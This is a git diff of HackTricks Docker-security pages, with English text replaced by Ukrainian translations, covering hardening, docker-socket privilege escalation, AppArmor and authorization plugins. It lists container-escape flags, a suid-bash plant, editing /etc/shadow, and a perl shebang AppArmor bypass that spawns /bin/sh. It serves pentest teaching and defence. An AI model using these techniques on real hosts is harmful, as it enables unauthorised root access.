## Docker Breakout / Privilege Escalation
## Вихід з Docker / Підвищення привілеїв
If you are **inside a docker container** or you have access to a user in the **docker group**, you could try to **escape and escalate privileges**:
Якщо ви **всередині контейнера Docker** або маєте доступ до користувача в **групі docker**, ви можете спробувати **втекти і підвищити привілеї**:
{{#ref}}
docker-breakout-privilege-escalation/
{{#endref}}
## Docker Authentication Plugin Bypass
## Обхід плагіна автентифікації Docker
If you have access to the docker socket or have access to a user in the **docker group but your actions are being limited by a docker auth plugin**, check if you can **bypass it:**
Якщо у вас є доступ до сокета Docker або доступ до користувача в **групі docker, але ваші дії обмежуються плагіном автентифікації Docker**, перевірте, чи можете ви **обійти його:**
{{#ref}}
authz-and-authn-docker-access-authorization-plugin.md
{{#endref}}
## Hardening Docker
## Ускладнення Docker
- The tool [**docker-bench-security**](https://github.com/docker/docker-bench-security) is a script that checks for dozens of common best-practices around deploying Docker containers in production. The tests are all automated, and are based on the [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
You need to run the tool from the host running docker or from a container with enough privileges. Find out **how to run it in the README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
- Інструмент [**docker-bench-security**](https://github.com/docker/docker-bench-security) - це скрипт, який перевіряє десятки загальних найкращих практик щодо розгортання контейнерів Docker у виробництві. Тести повністю автоматизовані і базуються на [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
Вам потрібно запустити інструмент з хоста, на якому працює Docker, або з контейнера з достатніми привілеями. Дізнайтеся, **як його запустити в README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
## References
## Посилання
- [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
- [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/_fel1x/status/1151487051986087936)
@ -421,12 +373,5 @@ authz-and-authn-docker-access-authorization-plugin.md
- [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
- [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
<figure><img src="../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %}
{{#include ../../../banners/hacktricks-training.md}}

52
src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md
View File

@ -1,43 +1,43 @@
# Abusing Docker Socket for Privilege Escalation
# Зловживання сокетом Docker для ескалації привілеїв
{{#include ../../../banners/hacktricks-training.md}}
There are some occasions were you just have **access to the docker socket** and you want to use it to **escalate privileges**. Some actions might be very suspicious and you may want to avoid them, so here you can find different flags that can be useful to escalate privileges:
Існують випадки, коли у вас є **доступ до сокета docker** і ви хочете використовувати його для **ескалації привілеїв**. Деякі дії можуть бути дуже підозрілими, і ви можете захотіти їх уникнути, тому тут ви можете знайти різні прапорці, які можуть бути корисними для ескалації привілеїв:
### Via mount
### Через монтування
You can **mount** different parts of the **filesystem** in a container running as root and **access** them.\
You could also **abuse a mount to escalate privileges** inside the container.
Ви можете **монтувати** різні частини **файлової системи** в контейнері, що працює під root, і **доступатися** до них.\
Ви також можете **зловживати монтуванням для ескалації привілеїв** всередині контейнера.
- **`-v /:/host`** -> Mount the host filesystem in the container so you can **read the host filesystem.**
- If you want to **feel like you are in the host** but being on the container you could disable other defense mechanisms using flags like:
- `--privileged`
- `--cap-add=ALL`
- `--security-opt apparmor=unconfined`
- `--security-opt seccomp=unconfined`
- `-security-opt label:disable`
- `--pid=host`
- `--userns=host`
- `--uts=host`
- `--cgroupns=host`
- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> This is similar to the previous method, but here we are **mounting the device disk**. Then, inside the container run `mount /dev/sda1 /mnt` and you can **access** the **host filesystem** in `/mnt`
- Run `fdisk -l` in the host to find the `</dev/sda1>` device to mount
- **`-v /tmp:/host`** -> If for some reason you can **just mount some directory** from the host and you have access inside the host. Mount it and create a **`/bin/bash`** with **suid** in the mounted directory so you can **execute it from the host and escalate to root**.
- **`-v /:/host`** -> Монтуйте файлову систему хоста в контейнер, щоб ви могли **читати файлову систему хоста.**
- Якщо ви хочете **відчувати себе на хості**, але бути в контейнері, ви можете вимкнути інші механізми захисту, використовуючи прапорці, такі як:
- `--privileged`
- `--cap-add=ALL`
- `--security-opt apparmor=unconfined`
- `--security-opt seccomp=unconfined`
- `-security-opt label:disable`
- `--pid=host`
- `--userns=host`
- `--uts=host`
- `--cgroupns=host`
- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Це схоже на попередній метод, але тут ми **монтуємо диск пристрою**. Потім, всередині контейнера запустіть `mount /dev/sda1 /mnt`, і ви можете **доступатися** до **файлової системи хоста** в `/mnt`
- Запустіть `fdisk -l` на хості, щоб знайти пристрій `</dev/sda1>` для монтування
- **`-v /tmp:/host`** -> Якщо з якоїсь причини ви можете **просто змонтувати якусь директорію** з хоста і у вас є доступ всередині хоста. Змонтируйте її і створіть **`/bin/bash`** з **suid** в змонтованій директорії, щоб ви могли **виконати його з хоста і ескалувати до root**.
> [!NOTE]
> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null`
> Зверніть увагу, що, можливо, ви не можете змонтувати папку `/tmp`, але ви можете змонтувати **іншу записувану папку**. Ви можете знайти записувані директорії, використовуючи: `find / -writable -type d 2>/dev/null`
>
> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit.
> **Зверніть увагу, що не всі директорії в linux машині підтримують суід біт!** Щоб перевірити, які директорії підтримують суід біт, запустіть `mount | grep -v "nosuid"` Наприклад, зазвичай `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` і `/var/lib/lxcfs` не підтримують суід біт.
>
> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`)
> Також зверніть увагу, що якщо ви можете **монтувати `/etc`** або будь-яку іншу папку **з конфігураційними файлами**, ви можете змінювати їх з контейнера docker як root, щоб **зловживати ними на хості** і ескалувати привілеї (можливо, модифікуючи `/etc/shadow`)
### Escaping from the container
### Втеча з контейнера
- **`--privileged`** -> With this flag you [remove all the isolation from the container](docker-privileged.md#what-affects). Check techniques to [escape from privileged containers as root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape).
- **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> To [escalate abusing capabilities](../linux-capabilities.md), **grant that capability to the container** and disable other protection methods that may prevent the exploit to work.
- **`--privileged`** -> З цим прапорцем ви [усуваєте всю ізоляцію з контейнера](docker-privileged.md#what-affects). Перевірте техніки, щоб [втекти з привілейованих контейнерів як root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape).
- **`--cap-add=<CAPABILITY/ALL> [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Щоб [ескалувати, зловживаючи можливостями](../linux-capabilities.md), **надайте цю можливість контейнеру** і вимкніть інші методи захисту, які можуть заважати експлуатації.
### Curl
In this page we have discussed ways to escalate privileges using docker flags, you can find **ways to abuse these methods using curl** command in the page:
На цій сторінці ми обговорили способи ескалації привілеїв, використовуючи прапорці docker, ви можете знайти **способи зловживати цими методами, використовуючи команду curl** на сторінці:
{{#include ../../../banners/hacktricks-training.md}}

220
src/linux-hardening/privilege-escalation/docker-security/apparmor.md
View File

@ -2,31 +2,30 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
AppArmor is a **kernel enhancement designed to restrict the resources available to programs through per-program profiles**, effectively implementing Mandatory Access Control (MAC) by tying access control attributes directly to programs instead of users. This system operates by **loading profiles into the kernel**, usually during boot, and these profiles dictate what resources a program can access, such as network connections, raw socket access, and file permissions.
AppArmor - це **покращення ядра, призначене для обмеження ресурсів, доступних програмам через профілі для кожної програми**, ефективно реалізуючи Обов'язковий Контроль Доступу (MAC), прив'язуючи атрибути контролю доступу безпосередньо до програм, а не до користувачів. Ця система працює шляхом **завантаження профілів у ядро**, зазвичай під час завантаження, і ці профілі визначають, до яких ресурсів програма може отримати доступ, таких як мережеві з'єднання, доступ до сирих сокетів і дозволи на файли.
There are two operational modes for AppArmor profiles:
Існує два робочих режими для профілів AppArmor:
- **Enforcement Mode**: This mode actively enforces the policies defined within the profile, blocking actions that violate these policies and logging any attempts to breach them through systems like syslog or auditd.
- **Complain Mode**: Unlike enforcement mode, complain mode does not block actions that go against the profile's policies. Instead, it logs these attempts as policy violations without enforcing restrictions.
- **Режим виконання**: Цей режим активно забезпечує виконання політик, визначених у профілі, блокуючи дії, які порушують ці політики, і реєструючи будь-які спроби їх порушення через системи, такі як syslog або auditd.
- **Режим скарги**: На відміну від режиму виконання, режим скарги не блокує дії, які суперечать політикам профілю. Натомість він реєструє ці спроби як порушення політики без накладення обмежень.
### Components of AppArmor
### Компоненти AppArmor
- **Kernel Module**: Responsible for the enforcement of policies.
- **Policies**: Specify the rules and restrictions for program behavior and resource access.
- **Parser**: Loads policies into the kernel for enforcement or reporting.
- **Utilities**: These are user-mode programs that provide an interface for interacting with and managing AppArmor.
- **Модуль ядра**: Відповідає за забезпечення політик.
- **Політики**: Визначають правила та обмеження для поведінки програми та доступу до ресурсів.
- **Парсер**: Завантажує політики в ядро для забезпечення виконання або звітування.
- **Утиліти**: Це програми в режимі користувача, які надають інтерфейс для взаємодії та управління AppArmor.
### Profiles path
### Шлях до профілів
Apparmor profiles are usually saved in _**/etc/apparmor.d/**_\
With `sudo aa-status` you will be able to list the binaries that are restricted by some profile. If you can change the char "/" for a dot of the path of each listed binary and you will obtain the name of the apparmor profile inside the mentioned folder.
Профілі AppArmor зазвичай зберігаються в _**/etc/apparmor.d/**_\
За допомогою `sudo aa-status` ви зможете перерахувати двійкові файли, які обмежені якимось профілем. Якщо ви можете змінити символ "/" на крапку в шляху кожного перерахованого двійкового файлу, ви отримаєте назву профілю apparmor у згаданій папці.
For example, a **apparmor** profile for _/usr/bin/man_ will be located in _/etc/apparmor.d/usr.bin.man_
### Commands
Наприклад, профіль **apparmor** для _/usr/bin/man_ буде розташований у _/etc/apparmor.d/usr.bin.man_
### Команди
```bash
aa-status #check the current status
aa-enforce #set profile to enforce mode (from disable or complain)
@ -36,47 +35,41 @@ aa-genprof #generate a new profile
aa-logprof #used to change the policy when the binary/program is changed
aa-mergeprof #used to merge the policies
```
## Створення профілю
## Creating a profile
- In order to indicate the affected executable, **absolute paths and wildcards** are allowed (for file globbing) for specifying files.
- To indicate the access the binary will have over **files** the following **access controls** can be used:
- **r** (read)
- **w** (write)
- **m** (memory map as executable)
- **k** (file locking)
- **l** (creation hard links)
- **ix** (to execute another program with the new program inheriting policy)
- **Px** (execute under another profile, after cleaning the environment)
- **Cx** (execute under a child profile, after cleaning the environment)
- **Ux** (execute unconfined, after cleaning the environment)
- **Variables** can be defined in the profiles and can be manipulated from outside the profile. For example: @{PROC} and @{HOME} (add #include \<tunables/global> to the profile file)
- **Deny rules are supported to override allow rules**.
- Щоб вказати на уражений виконуваний файл, **дозволені абсолютні шляхи та шаблони** для вказування файлів.
- Щоб вказати доступ, який бінарний файл матиме до **файлів**, можна використовувати такі **контролі доступу**:
- **r** (читання)
- **w** (запис)
- **m** (відображення пам'яті як виконуваного)
- **k** (блокування файлів)
- **l** (створення жорстких посилань)
- **ix** (виконати іншу програму з новою політикою успадкування)
- **Px** (виконати під іншим профілем, після очищення середовища)
- **Cx** (виконати під дочірнім профілем, після очищення середовища)
- **Ux** (виконати без обмежень, після очищення середовища)
- **Змінні** можуть бути визначені в профілях і можуть бути змінені ззовні профілю. Наприклад: @{PROC} та @{HOME} (додайте #include \<tunables/global> до файлу профілю)
- **Правила заборони підтримуються для переважання правил дозволу**.
### aa-genprof
To easily start creating a profile apparmor can help you. It's possible to make **apparmor inspect the actions performed by a binary and then let you decide which actions you want to allow or deny**.\
You just need to run:
Щоб легко почати створення профілю, apparmor може вам допомогти. Можливо, **apparmor перевіряє дії, виконувані бінарним файлом, а потім дозволяє вам вирішити, які дії ви хочете дозволити або заборонити**.\
Вам просто потрібно виконати:
```bash
sudo aa-genprof /path/to/binary
```
Then, in a different console perform all the actions that the binary will usually perform:
Потім, у іншій консолі виконайте всі дії, які зазвичай виконує двійковий файл:
```bash
/path/to/binary -a dosomething
```
Then, in the first console press "**s**" and then in the recorded actions indicate if you want to ignore, allow, or whatever. When you have finished press "**f**" and the new profile will be created in _/etc/apparmor.d/path.to.binary_
Тоді в першій консолі натисніть "**s**", а потім у записаних діях вкажіть, чи хочете ви ігнорувати, дозволити або щось інше. Коли ви закінчите, натисніть "**f**", і новий профіль буде створено в _/etc/apparmor.d/path.to.binary_
> [!NOTE]
> Using the arrow keys you can select what you want to allow/deny/whatever
> Використовуючи клавіші зі стрілками, ви можете вибрати, що хочете дозволити/заборонити/щось інше
### aa-easyprof
You can also create a template of an apparmor profile of a binary with:
Ви також можете створити шаблон профілю apparmor для бінарного файлу за допомогою:
```bash
sudo aa-easyprof /path/to/binary
# vim:syntax=apparmor
@ -90,40 +83,34 @@ sudo aa-easyprof /path/to/binary
# No template variables specified
"/path/to/binary" {
#include <abstractions/base>
#include <abstractions/base>
# No abstractions specified
# No abstractions specified
# No policy groups specified
# No policy groups specified
# No read paths specified
# No read paths specified
# No write paths specified
# No write paths specified
}
```
> [!NOTE]
> Note that by default in a created profile nothing is allowed, so everything is denied. You will need to add lines like `/etc/passwd r,` to allow the binary read `/etc/passwd` for example.
You can then **enforce** the new profile with
> Зверніть увагу, що за замовчуванням у створеному профілі нічого не дозволено, тому все заборонено. Вам потрібно буде додати рядки, такі як `/etc/passwd r,`, щоб дозволити бінарному файлу читати `/etc/passwd`, наприклад.
Ви можете потім **застосувати** новий профіль з
```bash
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
```
### Модифікація профілю з журналів
### Modifying a profile from logs
The following tool will read the logs and ask the user if he wants to permit some of the detected forbidden actions:
Наступний інструмент буде читати журнали та запитувати в користувача, чи хоче він дозволити деякі з виявлених заборонених дій:
```bash
sudo aa-logprof
```
> [!NOTE]
> Using the arrow keys you can select what you want to allow/deny/whatever
### Managing a Profile
> Використовуючи клавіші зі стрілками, ви можете вибрати, що ви хочете дозволити/заборонити/що завгодно
### Керування профілем
```bash
#Main profile management commands
apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode
@ -131,18 +118,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
```
## Logs
Example of **AUDIT** and **DENIED** logs from _/var/log/audit/audit.log_ of the executable **`service_bin`**:
Приклад **AUDIT** та **DENIED** журналів з _/var/log/audit/audit.log_ виконуваного **`service_bin`**:
```bash
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
```
You can also get this information using:
Ви також можете отримати цю інформацію, використовуючи:
```bash
sudo aa-notify -s 1 -v
Profile: /bin/service_bin
@ -160,126 +143,104 @@ Logfile: /var/log/audit/audit.log
AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021)
For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
```
## Apparmor in Docker
Note how the profile **docker-profile** of docker is loaded by default:
Зверніть увагу, як профіль **docker-profile** Docker завантажується за замовчуванням:
```bash
sudo aa-status
apparmor module is loaded.
50 profiles are loaded.
13 profiles are in enforce mode.
/sbin/dhclient
/usr/bin/lxc-start
/usr/lib/NetworkManager/nm-dhcp-client.action
/usr/lib/NetworkManager/nm-dhcp-helper
/usr/lib/chromium-browser/chromium-browser//browser_java
/usr/lib/chromium-browser/chromium-browser//browser_openjdk
/usr/lib/chromium-browser/chromium-browser//sanitized_helper
/usr/lib/connman/scripts/dhclient-script
docker-default
/sbin/dhclient
/usr/bin/lxc-start
/usr/lib/NetworkManager/nm-dhcp-client.action
/usr/lib/NetworkManager/nm-dhcp-helper
/usr/lib/chromium-browser/chromium-browser//browser_java
/usr/lib/chromium-browser/chromium-browser//browser_openjdk
/usr/lib/chromium-browser/chromium-browser//sanitized_helper
/usr/lib/connman/scripts/dhclient-script
docker-default
```
За замовчуванням **профіль docker-default Apparmor** генерується з [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
By default **Apparmor docker-default profile** is generated from [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
**Резюме профілю docker-default**:
**docker-default profile Summary**:
- **Access** to all **networking**
- **No capability** is defined (However, some capabilities will come from including basic base rules i.e. #include \<abstractions/base> )
- **Writing** to any **/proc** file is **not allowed**
- Other **subdirectories**/**files** of /**proc** and /**sys** are **denied** read/write/lock/link/execute access
- **Mount** is **not allowed**
- **Ptrace** can only be run on a process that is confined by **same apparmor profile**
Once you **run a docker container** you should see the following output:
- **Доступ** до всіх **мереж**
- **Жодна можливість** не визначена (Однак деякі можливості будуть отримані з включення базових правил, тобто #include \<abstractions/base>)
- **Запис** у будь-який **файл /proc** **не дозволено**
- Інші **підкаталоги**/**файли** /**proc** та /**sys** мають **заборонений** доступ на читання/запис/блокування/посилання/виконання
- **Монтування** **не дозволено**
- **Ptrace** може бути виконано лише на процесі, який обмежений **тим же профілем apparmor**
Якщо ви **запустите контейнер docker**, ви повинні побачити наступний вивід:
```bash
1 processes are in enforce mode.
docker-default (825)
docker-default (825)
```
Note that **apparmor will even block capabilities privileges** granted to the container by default. For example, it will be able to **block permission to write inside /proc even if the SYS_ADMIN capability is granted** because by default docker apparmor profile denies this access:
Зверніть увагу, що **apparmor навіть заблокує привілеї можливостей**, надані контейнеру за замовчуванням. Наприклад, він зможе **заблокувати дозвіл на запис у /proc, навіть якщо можливість SYS_ADMIN надана**, оскільки за замовчуванням профіль apparmor docker забороняє цей доступ:
```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
echo "" > /proc/stat
sh: 1: cannot create /proc/stat: Permission denied
```
You need to **disable apparmor** to bypass its restrictions:
Вам потрібно **вимкнути apparmor**, щоб обійти його обмеження:
```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
```
Зверніть увагу, що за замовчуванням **AppArmor** також **заборонить контейнеру монтувати** папки зсередини, навіть з можливістю SYS_ADMIN.
Note that by default **AppArmor** will also **forbid the container to mount** folders from the inside even with SYS_ADMIN capability.
Зверніть увагу, що ви можете **додати/видалити** **можливості** до контейнера docker (це все ще буде обмежено методами захисту, такими як **AppArmor** і **Seccomp**):
Note that you can **add/remove** **capabilities** to the docker container (this will be still restricted by protection methods like **AppArmor** and **Seccomp**):
- `--cap-add=SYS_ADMIN` give `SYS_ADMIN` cap
- `--cap-add=ALL` give all caps
- `--cap-drop=ALL --cap-add=SYS_PTRACE` drop all caps and only give `SYS_PTRACE`
- `--cap-add=SYS_ADMIN` надає можливість `SYS_ADMIN`
- `--cap-add=ALL` надає всі можливості
- `--cap-drop=ALL --cap-add=SYS_PTRACE` скидає всі можливості і надає лише `SYS_PTRACE`
> [!NOTE]
> Usually, when you **find** that you have a **privileged capability** available **inside** a **docker** container **but** some part of the **exploit isn't working**, this will be because docker **apparmor will be preventing it**.
> Зазвичай, коли ви **виявляєте**, що у вас є **привілейована можливість** доступна **всередині** контейнера **docker**, **але** деяка частина **експлуатації не працює**, це буде тому, що **apparmor docker заважатиме цьому**.
### Example
### Приклад
(Example from [**here**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
To illustrate AppArmor functionality, I created a new Docker profile “mydocker” with the following line added:
(Приклад з [**тут**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/))
Щоб проілюструвати функціональність AppArmor, я створив новий профіль Docker “mydocker” з доданим наступним рядком:
```
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
```
To activate the profile, we need to do the following:
Щоб активувати профіль, нам потрібно зробити наступне:
```
sudo apparmor_parser -r -W mydocker
```
To list the profiles, we can do the following command. The command below is listing my new AppArmor profile.
Щоб перерахувати профілі, ми можемо виконати наступну команду. Команда нижче перераховує мій новий профіль AppArmor.
```
$ sudo apparmor_status | grep mydocker
mydocker
mydocker
```
As shown below, we get error when trying to change “/etc/” since AppArmor profile is preventing write access to “/etc”.
Як показано нижче, ми отримуємо помилку, коли намагаємося змінити “/etc/”, оскільки профіль AppArmor заважає запису в “/etc”.
```
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
chmod: /etc/hostname: Permission denied
```
### AppArmor Docker Bypass1
You can find which **apparmor profile is running a container** using:
Ви можете дізнатися, який **профіль apparmor запущений у контейнері**, використовуючи:
```bash
docker inspect 9d622d73a614 | grep lowpriv
"AppArmorProfile": "lowpriv",
"apparmor=lowpriv"
"AppArmorProfile": "lowpriv",
"apparmor=lowpriv"
```
Then, you can run the following line to **find the exact profile being used**:
Тоді ви можете виконати наступний рядок, щоб **знайти точний профіль, що використовується**:
```bash
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
```
In the weird case you can **modify the apparmor docker profile and reload it.** You could remove the restrictions and "bypass" them.
У дивному випадку ви можете **змінити профіль apparmor docker і перезавантажити його.** Ви могли б видалити обмеження і "обійти" їх.
### AppArmor Docker Bypass2
**AppArmor is path based**, this means that even if it might be **protecting** files inside a directory like **`/proc`** if you can **configure how the container is going to be run**, you could **mount** the proc directory of the host inside **`/host/proc`** and it **won't be protected by AppArmor anymore**.
**AppArmor базується на шляху**, це означає, що навіть якщо він може **захищати** файли всередині каталогу, як **`/proc`**, якщо ви можете **налаштувати, як контейнер буде запущено**, ви могли б **монтувати** каталог proc хоста всередині **`/host/proc`** і він **більше не буде захищений AppArmor**.
### AppArmor Shebang Bypass
In [**this bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) you can see an example of how **even if you are preventing perl to be run with certain resources**, if you just create a a shell script **specifying** in the first line **`#!/usr/bin/perl`** and you **execute the file directly**, you will be able to execute whatever you want. E.g.:
У [**цьому багу**](https://bugs.launchpad.net/apparmor/+bug/1911431) ви можете побачити приклад того, як **навіть якщо ви заважаєте perl виконуватися з певними ресурсами**, якщо ви просто створите оболонковий скрипт **вказуючи** в першому рядку **`#!/usr/bin/perl`** і ви **виконаєте файл безпосередньо**, ви зможете виконати що завгодно. Наприклад:
```perl
echo '#!/usr/bin/perl
use POSIX qw(strftime);
@ -289,5 +250,4 @@ exec "/bin/sh"' > /tmp/test.pl
chmod +x /tmp/test.pl
/tmp/test.pl
```
{{#include ../../../banners/hacktricks-training.md}}

116
src/linux-hardening/privilege-escalation/docker-security/authz-and-authn-docker-access-authorization-plugin.md
View File

@ -1,75 +1,70 @@
{{#include ../../../banners/hacktricks-training.md}}
**Docker’s** out-of-the-box **authorization** model is **all or nothing**. Any user with permission to access the Docker daemon can **run any** Docker client **command**. The same is true for callers using Docker’s Engine API to contact the daemon. If you require **greater access control**, you can create **authorization plugins** and add them to your Docker daemon configuration. Using an authorization plugin, a Docker administrator can **configure granular access** policies for managing access to the Docker daemon.
**Модель** **авторизації** **Docker** з коробки є **все або нічого**. Будь-який користувач, який має дозвіл на доступ до демона Docker, може **виконувати будь-які** команди клієнта Docker. Те ж саме стосується викликів, які використовують API Docker Engine для зв'язку з демоном. Якщо вам потрібен **більший контроль доступу**, ви можете створити **плагіни авторизації** та додати їх до конфігурації демона Docker. Використовуючи плагін авторизації, адміністратор Docker може **налаштувати детальні політики доступу** для управління доступом до демона Docker.
# Basic architecture
# Основна архітектура
Docker Auth plugins are **external** **plugins** you can use to **allow/deny** **actions** requested to the Docker Daemon **depending** on the **user** that requested it and the **action** **requested**.
Плагіни авторизації Docker є **зовнішніми** **плагінами**, які ви можете використовувати для **дозволу/заборони** **дій**, запитуваних до демона Docker **в залежності** від **користувача**, який їх запитує, та **запитуваної** **дії**.
**[The following info is from the docs](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
**[Наступна інформація з документації](https://docs.docker.com/engine/extend/plugins_authorization/#:~:text=If%20you%20require%20greater%20access,access%20to%20the%20Docker%20daemon)**
When an **HTTP** **request** is made to the Docker **daemon** through the CLI or via the Engine API, the **authentication** **subsystem** **passes** the request to the installed **authentication** **plugin**(s). The request contains the user (caller) and command context. The **plugin** is responsible for deciding whether to **allow** or **deny** the request.
Коли **HTTP** **запит** надсилається до **демона** Docker через CLI або через API Engine, **підсистема аутентифікації** **передає** запит до встановленого **плагіна аутентифікації**. Запит містить користувача (викликач) та контекст команди. **Плагін** відповідає за вирішення, чи **дозволити** чи **заборонити** запит.
The sequence diagrams below depict an allow and deny authorization flow:
Діаграми послідовностей нижче зображують потік авторизації дозволу та заборони:
![Authorization Allow flow](https://docs.docker.com/engine/extend/images/authz_allow.png)
![Authorization Deny flow](https://docs.docker.com/engine/extend/images/authz_deny.png)
Each request sent to the plugin **includes the authenticated user, the HTTP headers, and the request/response body**. Only the **user name** and the **authentication method** used are passed to the plugin. Most importantly, **no** user **credentials** or tokens are passed. Finally, **not all request/response bodies are sent** to the authorization plugin. Only those request/response bodies where the `Content-Type` is either `text/*` or `application/json` are sent.
Кожен запит, надісланий до плагіна, **включає аутентифікованого користувача, HTTP заголовки та тіло запиту/відповіді**. Тільки **ім'я користувача** та **метод аутентифікації**, що використовується, передаються до плагіна. Найголовніше, **жодні** облікові **дані** користувача або токени не передаються. Нарешті, **не всі тіла запитів/відповідей надсилаються** до плагіна авторизації. Тільки ті тіла запитів/відповідей, де `Content-Type` є або `text/*`, або `application/json`, надсилаються.
For commands that can potentially hijack the HTTP connection (`HTTP Upgrade`), such as `exec`, the authorization plugin is only called for the initial HTTP requests. Once the plugin approves the command, authorization is not applied to the rest of the flow. Specifically, the streaming data is not passed to the authorization plugins. For commands that return chunked HTTP response, such as `logs` and `events`, only the HTTP request is sent to the authorization plugins.
Для команд, які можуть потенційно перехопити HTTP з'єднання (`HTTP Upgrade`), таких як `exec`, плагін авторизації викликається лише для початкових HTTP запитів. Після того, як плагін схвалює команду, авторизація не застосовується до решти потоку. Зокрема, потік даних не передається до плагінів авторизації. Для команд, які повертають часткову HTTP відповідь, таких як `logs` та `events`, лише HTTP запит надсилається до плагінів авторизації.
During request/response processing, some authorization flows might need to do additional queries to the Docker daemon. To complete such flows, plugins can call the daemon API similar to a regular user. To enable these additional queries, the plugin must provide the means for an administrator to configure proper authentication and security policies.
Під час обробки запитів/відповідей деякі потоки авторизації можуть потребувати додаткових запитів до демона Docker. Щоб завершити такі потоки, плагіни можуть викликати API демона, подібно до звичайного користувача. Щоб дозволити ці додаткові запити, плагін повинен надати засоби для адміністратора для налаштування належної аутентифікації та політик безпеки.
## Several Plugins
## Кілька плагінів
You are responsible for **registering** your **plugin** as part of the Docker daemon **startup**. You can install **multiple plugins and chain them together**. This chain can be ordered. Each request to the daemon passes in order through the chain. Only when **all the plugins grant access** to the resource, is the access granted.
Ви несете відповідальність за **реєстрацію** вашого **плагіна** як частини **запуску** демона Docker. Ви можете встановити **кілька плагінів і з'єднати їх разом**. Цей ланцюг може бути впорядкованим. Кожен запит до демона проходить у порядку через ланцюг. Тільки коли **всі плагіни надають доступ** до ресурсу, доступ надається.
# Plugin Examples
# Приклади плагінів
## Twistlock AuthZ Broker
The plugin [**authz**](https://github.com/twistlock/authz) allows you to create a simple **JSON** file that the **plugin** will be **reading** to authorize the requests. Therefore, it gives you the opportunity to control very easily which API endpoints can reach each user.
Плагін [**authz**](https://github.com/twistlock/authz) дозволяє вам створити простий **JSON** файл, який **плагін** буде **читати** для авторизації запитів. Таким чином, він дає вам можливість дуже легко контролювати, які API кінцеві точки можуть досягти кожного користувача.
This is an example that will allow Alice and Bob can create new containers: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
Це приклад, який дозволить Алісі та Бобу створювати нові контейнери: `{"name":"policy_3","users":["alice","bob"],"actions":["container_create"]}`
In the page [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) you can find the relation between the requested URL and the action. In the page [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) you can find the relation between the action name and the action
На сторінці [route_parser.go](https://github.com/twistlock/authz/blob/master/core/route_parser.go) ви можете знайти зв'язок між запитуваною URL-адресою та дією. На сторінці [types.go](https://github.com/twistlock/authz/blob/master/core/types.go) ви можете знайти зв'язок між назвою дії та дією.
## Simple Plugin Tutorial
## Простий підручник з плагінів
